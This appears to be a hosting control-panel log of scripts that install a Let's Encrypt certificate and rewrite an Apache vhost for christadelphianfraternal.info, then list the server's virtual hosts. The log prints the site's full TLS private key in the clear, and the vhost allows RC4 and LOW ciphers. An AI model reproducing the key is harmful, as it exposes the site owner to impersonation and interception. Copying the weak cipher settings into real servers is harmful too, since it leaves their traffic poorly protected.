Gp6PFq+q6IECUuGVBR+7thcGb2/t5ocCpTpJby1Ho5nAN4BRDcP/NN1y0cos0DXK
zKfEdoF46BkVBwnmVunI+u+15Tqge0lORO7iinsCXfjfR3KXrx2KBlHzOyOE6FmL
+Sjp0LORntfDESAgqLccchlVHH+jBJVwY4VnciDott/Hc2EKwr03Bh5TNNxK0x7D
w3WjkF7hgVMpEktOuC1AWyFGblcPdg4pOm9B50OuuHaN0CHi50ruD9KrPZFhOld/
eqbEpMSMBHnlM46ssSrVsAZNpQHxQQRW0FoN3AEbwQKBgQDHKy2AGJx9/3vCdZan
NZ3odOgSQc4OBiLfE6yf3uikTm/V00Z0MfJCnNdxzRGN0DPB/opN2ou68DgVInss
i8SrKCubuKZrIT0p/FEljEcD+lsNe9TkkSvZEr0GALOOySQ18G9mq2mVLgEcR9at
ozCsGqdv68hmnW2yatuYZ6n2cQKBgQC4ax+v8GMpYOj/zkZ0at4gaNWOUF53mbvj
X/O7hYJK3fAajAeY2zTLrZH7AxMyurcXm1WPIi8au/D8tFQIXwyUbrDdRaK2T3a7
laTo34yEAR4wwHRhPh/CdcMnCQ1ulg2LSztF9MZJnW+fU+ahEJAvYe5J53DZJN8u
Q5prSQrZOQKBgBXoiPvDOUue09VDLAw+mJ0eZvzDIlBmmmVhe6amVX7lZeXmdKSJ
bfWn3QcWoKyxz0+ymTIRLTel/vVMMrJmuX5+T7W0bRHxuRGqQJ7ZvGISovtruLJf
yav6JLLJVvcI5yPLy+VGS7nuMo8S0+mLvunfkLV+ATBQduWeXYN5O7fxAoGAVssz
8p30TXkqr5npVsklGaO9PmlczHUyFGUIVO0U0R967UOSH8KrKmDaH4Tm+C0gFqAo
uGCiQrbJSGWmVvpE9WbTHpCzb5Iek1JudpsfitDr4I3zOAEA+Yhq/GgqRi2g2jnh
/56f4+2Qpy/Zj1w4P9SbTXT7i3brAt8WQf/ydyECgYEAuu0JEM9/BUySn9feg3FS
hf2fIDSu2TYb1yDtXkuhijbau/gOocjLCOZKe8yncD/XkG277Rgg+orlrIuQDgNG
TGGPscjboHbo/cd+BMuKEMiHeZjeZLW/ajvRYp9lBSd38IBmvSm3ua/+TR61RFYA
cuUXpqYMsBGOcG7Q0MvKpN8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-02 15:37:03: 

chmod 755 /tmp/pkp570073; /tmp/pkp570073; rm /tmp/pkp570073

2026-03-02 15:37:03: 


dir=/etc/ssl/certs


2026-03-02 15:37:03: 

PUT: /tmp/pkp569314

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-02 15:37:03: 

chmod 755 /tmp/pkp569314; /tmp/pkp569314; rm /tmp/pkp569314

2026-03-02 15:37:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf 57

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-02 15:37:03: 

PUT: /tmp/pkp832530

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphianfraternal_www_info.conf
TARGET=/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf= 1'
fi


2026-03-02 15:37:03: 

chmod 755 /tmp/pkp832530; /tmp/pkp832530; rm /tmp/pkp832530

2026-03-02 15:37:03: 




2026-03-02 15:37:03: 

PUT: /tmp/pkp609793

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-02 15:37:03: 

chmod 755 /tmp/pkp609793; /tmp/pkp609793; rm /tmp/pkp609793

2026-03-02 15:37:03: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-02 15:37:03: Establishing a connection
2026-03-02 15:37:04: 

PUT: /tmp/pkp384942

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-02 15:37:04: 

chmod 755 /tmp/pkp384942; /tmp/pkp384942; rm /tmp/pkp384942

2026-03-02 15:37:04: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-02 15:37:04: 

PUT: /tmp/pkp435055

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 15:37:04: 

chmod 755 /tmp/pkp435055; /tmp/pkp435055; rm /tmp/pkp435055

2026-03-02 15:37:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf	1555

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-02 15:37:04: 

PUT: /tmp/pkp428266

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 15:37:04: 

chmod 755 /tmp/pkp428266; /tmp/pkp428266; rm /tmp/pkp428266

2026-03-02 15:37:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt	5418
00:82:eb:cf:3c:6a:ef:cd:74:ee:4b:d6:6a:91:b3:e5

-----BEGIN CERTIFICATE-----
MIIFLzCCBBegAwIBAgISBZ9YlDFUSAkycFGTvIHlsBmTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzAyMTQzODMyWhcNMjYwNTMxMTQzODMxWjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAI96YGcyRwIQEFWExhTm8mpgKgNRTj1KvRxRlET5mIlI
qpMDpeevLFkUHdASOD6+P1kgQsNUqCQ1MVzFtCiJ+CdAgv+CbHol834tY/P1YwiJ
zMhEJhhRxOwN8TPX3wV+aTPoPZTmqWYEPqqsTmSRtC+N0xsPWvSDR1sYChJlPM2b
UyWO9icuoCENHcRmhw18LrQ8As2yD8ch0kbmyZJN3+eMggXwvo5zGsb7mKSQbU94
fwHqOQDCi8ZF6sl2Y/AXEbaRY4F3zUv6xUcdII9KxV8iePrcPketUsHQlIiepWEW
B53DS4NaOncxQsxnZmnBIhMRGxBIOi22t0+T8wAnqCkCAwEAAaOCAkYwggJCMA4G
A1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQd8ouKqDIMazz/6zbmmu+A7aQd2jAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMEsGA1UdEQREMEKCHWNocmlzdGFkZWxwaGlh
bmZyYXRlcm5hbC5pbmZvgiF3d3cuY2hyaXN0YWRlbHBoaWFuZnJhdGVybmFsLmlu
Zm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDov
L3IxMi5jLmxlbmNyLm9yZy8yMC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAA
dgBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZyvMhtIAAAEAwBH
MEUCIAoRjaqfkM6PMQLQD137SRHizKD9xesPY4vczor8SmlkAiEAy12nkES3Q0m0
Xf4xNz3bNYq+PJKAFQWFEV5sUS3c138AdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2
BCkn+OcfMxP1+gAAAZyvMht0AAAEAwBHMEUCICre2ZzNkKf3HRHmBWHN9tPHsn9S
dI1EjNsLQjbLIIm7AiEA8NznNbqcT4cnkBDM7Q4zFSDQAgQrJKS6qtfR5K4AOEww
DQYJKoZIhvcNAQELBQADggEBAE8QfjuClSjomuI8dJvQDPw+oQ8EY/U913QspUTE
4P5Qg8tTLh9J9Q4hXWRIsUyqRJMBVxOsrNqDuYrNhdI4vDXolWUPehDiKeNH3Ab/
cy/izGAgzKzmrt0KKnJzURoJId2Orl/QxqAMZN4Ie4n5ycN2ex4hq87qU4criR+D
WBrMT1SIADLT/dUQXTSMsGZ5qkc4qyFVBkh+kkP2SSe34B7hHbqfXAqRmVq+SZtz
bYXaj4wKvyBTo0278iIOfjuMOKE+1I9SWJgNRkzLlx+xnpbm9wNEqQjhtvRgnUsE
0PpIvHEBNX7xIpyn4Juq/XLACT/LU35AsQ9LYIMK83XEeZM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCPemBnMkcCEBBV
hMYU5vJqYCoDUU49Sr0cUZRE+ZiJSKqTA6XnryxZFB3QEjg+vj9ZIELDVKgkNTFc
xbQoifgnQIL/gmx6JfN+LWPz9WMIiczIRCYYUcTsDfEz198Ffmkz6D2U5qlmBD6q
rE5kkbQvjdMbD1r0g0dbGAoSZTzNm1MljvYnLqAhDR3EZocNfC60PALNsg/HIdJG
5smSTd/njIIF8L6OcxrG+5ikkG1PeH8B6jkAwovGRerJdmPwFxG2kWOBd81L+sVH
HSCPSsVfInj63D5HrVLB0JSInqVhFgedw0uDWjp3MULMZ2ZpwSITERsQSDottrdP
k/MAJ6gpAgMBAAECggEAA8UxUP+TD8dQnpFZdoV7xkwrnnWzACJS0N0wmmq9VZI0
Gp6PFq+q6IECUuGVBR+7thcGb2/t5ocCpTpJby1Ho5nAN4BRDcP/NN1y0cos0DXK
zKfEdoF46BkVBwnmVunI+u+15Tqge0lORO7iinsCXfjfR3KXrx2KBlHzOyOE6FmL
+Sjp0LORntfDESAgqLccchlVHH+jBJVwY4VnciDott/Hc2EKwr03Bh5TNNxK0x7D
w3WjkF7hgVMpEktOuC1AWyFGblcPdg4pOm9B50OuuHaN0CHi50ruD9KrPZFhOld/
eqbEpMSMBHnlM46ssSrVsAZNpQHxQQRW0FoN3AEbwQKBgQDHKy2AGJx9/3vCdZan
NZ3odOgSQc4OBiLfE6yf3uikTm/V00Z0MfJCnNdxzRGN0DPB/opN2ou68DgVInss
i8SrKCubuKZrIT0p/FEljEcD+lsNe9TkkSvZEr0GALOOySQ18G9mq2mVLgEcR9at
ozCsGqdv68hmnW2yatuYZ6n2cQKBgQC4ax+v8GMpYOj/zkZ0at4gaNWOUF53mbvj
X/O7hYJK3fAajAeY2zTLrZH7AxMyurcXm1WPIi8au/D8tFQIXwyUbrDdRaK2T3a7
laTo34yEAR4wwHRhPh/CdcMnCQ1ulg2LSztF9MZJnW+fU+ahEJAvYe5J53DZJN8u
Q5prSQrZOQKBgBXoiPvDOUue09VDLAw+mJ0eZvzDIlBmmmVhe6amVX7lZeXmdKSJ
bfWn3QcWoKyxz0+ymTIRLTel/vVMMrJmuX5+T7W0bRHxuRGqQJ7ZvGISovtruLJf
yav6JLLJVvcI5yPLy+VGS7nuMo8S0+mLvunfkLV+ATBQduWeXYN5O7fxAoGAVssz
8p30TXkqr5npVsklGaO9PmlczHUyFGUIVO0U0R967UOSH8KrKmDaH4Tm+C0gFqAo
uGCiQrbJSGWmVvpE9WbTHpCzb5Iek1JudpsfitDr4I3zOAEA+Yhq/GgqRi2g2jnh
/56f4+2Qpy/Zj1w4P9SbTXT7i3brAt8WQf/ydyECgYEAuu0JEM9/BUySn9feg3FS
hf2fIDSu2TYb1yDtXkuhijbau/gOocjLCOZKe8yncD/XkG277Rgg+orlrIuQDgNG
TGGPscjboHbo/cd+BMuKEMiHeZjeZLW/ajvRYp9lBSd38IBmvSm3ua/+TR61RFYA
cuUXpqYMsBGOcG7Q0MvKpN8=
